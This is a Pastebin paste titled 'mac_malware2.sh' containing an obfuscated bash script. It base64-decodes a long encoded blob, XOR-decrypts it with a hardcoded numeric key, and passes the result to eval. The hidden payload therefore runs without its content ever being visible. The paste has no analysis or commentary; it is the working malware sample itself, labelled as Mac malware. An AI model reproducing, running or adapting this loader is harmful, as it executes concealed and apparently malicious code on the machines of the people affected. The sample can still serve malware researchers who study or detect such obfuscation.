opexxx

mac_malware2.sh

Jan 11th, 2020
202
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 4.47 KB | None | 0 0
  1. #!/bin/bash
  2. _l() {
  3.     _i=0;_x=0;
  4.     for ((_i=0; _i<${#1}; _i+=2)) do
  5.         __return_var="$__return_var$(printf "%02x" $(( ((0x${1:$_i:2})) ^ ((0x${2:$_x:2})) )) )"
  6.         if (( (_x+=2)>=${#2} )); then ((_x=0)); fi
  7.     done
  8.     if [[ "$3" ]]; then eval "$3='$__return_var'"; else echo -n "$__return_var"; fi
  9. }
  10.  
  11. _m() {
  12.     _v=$(base64 --decode <(printf "$1"));_k=$(xxd -pu <(printf "$2"));
  13.     __return_var="$(xxd -r -p <(_l "$_v" "$_k"))"
  14.     if [[ "$3" ]]; then eval "$3='$__return_var'"; else echo -n "$__return_var"; fi
  15. }
  16. _y="8791826324"
  17. _t="MWIxNjE2NTM1MTVjMTk1MTUzNDc1MDNkNWY0NDU2NTE0MjVhNWQ1YTE4NTA1YzQ1NmU1ZDVhNDY1ZjUxNzY1NjU0NTQxMDFiMTY0ODM4MTQxODE3MTk1NDQwNTE1YTQ2NTY1MTVjNzM1MDQzNGIwZjFlMTQxZDYyNTc1YjRjNWM1ZDQxMTk2MzQwNTE1YTU4NTY0NTE3MTUxNjE0MWQ2MjU3NWI0YzVjNWQ0MTE5N2U1MzU3NTE1OTRkNWU0YjVhMTY3Yjc2MWIxZjE3MWUxZTZlNWQ1YTQ2NWY1MTRiMTg2YjU0NWI1ZDQwNTY0MDRkMTcxMDEwM2IzMjEyMTYxMzEyNTI1NzQ1MTk0NzU3NWU0MzVlNTc3MDUxNDUxOTU4NTYxMjE5NjU1ZDU4NGQ1YTVjNDIxNzE4MTkzOTEyMTQxODE3NWQ1ZTMyMTIxNjEzMTIxNDE4MTcxOTQyNTM1YjQ2MGUwMjNlMTgxNzE5MTExODEyMTYxMzU0NWI0YTE3NWM0OTViNWU0MzU3NTc1MDdjNWU0YjExNTE1YzE2MTExNjRmNWQ0ZjVhNWQ0ZDU2NTM1Nzc2NWQ0YTQ0NjI3MTY1NGYxNDM5MTIxNDE4MTcxOTExMTgxMjUyNWMzODE0MTgxNzE5MTExODEyMTYxMzEyMTQxODVlNWYxMTYzNjkxNjExMTY1MTQwNTQ1NTQ0NWM1NzUyNzc1YjQ2MWExNzA0MGMxODEwMTI0NTVkNTg0ZDVhNWM3NTUxNDAxNDEzNmY2OTAzMTc0ZDU5NWQ1YzNjMTMxMjE0MTgxNzE5MTExODEyMTYxMzEyMTQxODE3MTk0MjUzNWI0NjBlMDMzZTE4MTcxOTExMTgxMjE2MTMxMjE0MTgxNzE5MTExODEyNTQ0MTU3NTU1MzBjMzMxMTE4MTIxNjEzMTIxNDE4MTcxOTExMTg1NDVmMzkxMjE0MTgxNzE5MTExODEyNTI1YzVjNTEzMjE3MTkxMTE4MTIxNjEzMTI1ZDVlMTc2MjExMWM0MTVkNWE0MjE0MDUwYTE5MDAxODZmMGQxMzQ2NWM1ZDU5MzMxMTE4MTIxNjEzMTIxNDE4MTcxOTExMTg1MTU5NWQ0NjVkNTY0MjVjMGEzMjEyMTYxMzEyMTQxODE3MTk1NzUxMTIzYzEzMTIxNDE4MTcxOTExMTgzODE2MTMxMjE0MTgxNzE5MTE1MTU0MTY2ODEyMTk1YzE3MWIxNTRlNWQ1YTQ2NWY1MTdjNWU0YjFlMWMwMzE0MTM2ZjBmMTg0MzUxNTQ1NjM4MTYxMzEyMTQxODE3MTkxMTE4MTIxNjEzNTc1NzUwNTgxOTEzMWM0NDU5NWY0NzU5NWQ3MzUwNDMxYTA5M2MxMzEyMTQxODE3MTkxMTE4MTIxNjEzMTI0NjVkNDM0YzQzNTYwOTE2MzkxMjE0MTgxNzE5MTExODEyNTA1YTM4MTQxODE3MTk1NTU3NWM1MzM5NGYzZTViNDI0YjQzNWQ1YzQyNzc1YjQ2MDUxNTFkNjE2Zjc2MTQzOTUzNDQ0ODczNTA0MzA1MTAxMjFiNTY1ZDRhNTk1ODVjNWQxMjEyMWI1NjVkNGE1OTU4NWM1ZDEyMTQxNzUxNDE0YTQ1NWM1ZjRjNzY1ZjQxMTAxZDExMTUzMzUwNDg0Mjc4NTI1ZjUxMDUxNTFkMTk1YTUzNDU1NjVjNTU1NTUyMTkxMzFjNTM0NjQzNzY1ZDRhMTUxMDEzMzI0NDU5NWY0NzU5NWQ2ODU3NTA1NTU3MGIxMTE2MWM1ZjUyNGQ2NzU3NWU0MzVlNTc3YTU5NWE1YzExMWExNjU3NDM0MjdhNTk1YTVjMTMxMTEwM2M1YzQxNmI0ZTUyNGI0MjUxNWQ1ODBlMTAxMDEwNDQ0ZTZlNGU1NzQ0NDAxMjE5NDg0NTU2NTU0ZDUxNDI2NTU3NDY0YjVlNTY1ZjExMTAzYzQwNTc0NzRiNWU1NjVmNjc1NTQzNWE1NjA5MWExMzExNDQ0ZDViNTI1NDU3NWExMTE1MzM1YzU5NTE1ZTVhNWM1MTY3NWU1ZDBjMWExNjFlNTY1MTVjNTcxNzE0NWYxODEwMTIxYjViNWI0YTUyNWUxMTE1NDA1MjAyMTIxOTViMTc3MDdlNjg1ZTU3NDc1NDViNGE1YTdjNDk0ODU3NDQ0Nzc2NTE0ZTVlNWE1NDE4NGUxNjU0NDA1MTQ4MTcxNDVlMTgxNTE0N2E3ZDY0NTQ1NjRkNTc1NzQwNWI2NjY3N2Q3YzE1MTkwYzE4MTA2YTFiMWMxZTY0MWUxYjE2MTg0ZTE2NDA1NzUwMTgxYTdjMTExNTVjMTYxNDQxNzQxNjFkMWIxOTYzNmMxNDZlMTkxZDFhNzc2NTAwNzg0MjExMWExMDE0NDQxNzRkNDMxODFmNTI1MDEyMTM2MzZjMDM0MTRhNWI1ODQ3MDg2OTY1MTAxMDEzMzI0NzQ0NWYwZjE2NTA0MzRkNDEwMjFkMTk1NzAzNTY1MTU4NGY0NjVmNTQ1ZDA1NTQ0NDA4MTk1YTVkNTc0NzUyNTU0MDViNTY0MzE3NWY1ZDQ2MTk0MDU2MWIwNzU0MDQ3OTdmNjg0ZjUxNjMwOTA1MTE0YzBjMWM1ZjU3NTA1YTVkNTY1MjY2NTg1YzE0NDUwZTE2NDc1ZDQ0NGE1ODU3NWM2OTU0NDc1ZDVjMTE1NjBjMWM1ZDQ1NmM0NDUxNGE0NDUwNWU1NjE0NTQwZTBhMDMwMTA2MDEwMzBlMDEwNDA3MTAzZTRkNTk0MzU4NDg2ZDQ2NTI0MTQ3NGY1ODRiNTUwNTEwMDIwMTAxMDIwYTBmMDgwODBmMGEwNzBiMDQwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMWEzZDRkNWM0ODZkNDY1MjQ2NWMwNTE1MWQxOTU1NTk0MjU2NWY0NDE4MTg0ZDVjNDgxZDZlNmI2YTZjNjA2ZjYxNjk2MDFiMTQzOTUxNDE0YTViMTkxYzVlMDI3YTEzMTAxMDRkNDU1NTEzMTgwYzE5NTc1NzQyMTc1OTRjNWQ1NDEyMDQwZDE0MDUxODA5MDcxNTRjNWY0NjZjNDI1NTRjNWYzMzUwNDg0MjY5NTc1YjQ2MDUxNTFkMTk1NTU5NDI1NjVmNDQxODFhNWQxMTE3NDY1YjQzMWQ2YzYwNmY2MTY5NjA2YTZlMWExZDE2MzI0MjU3NGI1MTQyMTYxZTYyMTQxYTEzNGM1ZjQyNWI0NjZjNDI1NTRiNDQ0ZTVlNGE1NjE0MTMxMDEwNGM1YTQ5NmU0ODUzNDI1YjEwMTQxNTUzMTkxMzFjNTM0NjQzNmQ1MDUxNDUxYjExMDYxMjE5NTc1NzQyMTc1OTRjNWQ1NDEyMDQwZDE0MDUzMjQ1NTQxMTE1NTQxNjE3NDY1OTQ4Njg0OTUwNGM1YTNjNTU1YjU4NWQ2ODU3NTA1NTU3MGIxMTE2MWM1ZjQ1NWM0MTE4MWY1YjAyMTIxOTRlMTcxYjFiMTY1MzQ2NDMxMDE0MDQxZjU1NDIxODFmMDcxMzEwMTA1OTQ3NDk2ZTVjNWI0NDExMWIxZDFhM2Q0ZjVlNTQ0NzViNTY2ZDVhNTk1YTVjMGMxYTE2NGQ0NTVkNTg0ZDVhNWM2ZTU2NTM1YjU2MWQxYjE4MTgxYzAzMDg0ZjE0Mzk1MTVjNTU1ODVkMTExMzRhMTYxMTE2NTU0ODQ3NjY1NTUxNDAxMjU1NWI1ODVkNjg1NzUwNTU1NzE5NzA1ZDVhNGM1MjU3NDU0YjFkN2I1MjUxN2I2YjE1MTYxYjMyNWQ0NjU2NWMxNDE1NTYxOTEzMWM1MzQ2NDM2ZDUwNTE0NTFkNTc1MTVlNTM2YzVjNTU1NTUyMWIxMTE1MWY1NzQxNTU0NzE4MTU0YTEzMTgxMDEyNDA1NzQ3NGI1ZTU2NWY2NzU1NDM1YTU2MTYxODE1MWQ0NzU3NWU0MzVlNTc2YjU2NTY1NDU0MWE="
  18. eval "$(_m "$_t" "$_y")"
Add Comment
Please, Sign In to add comment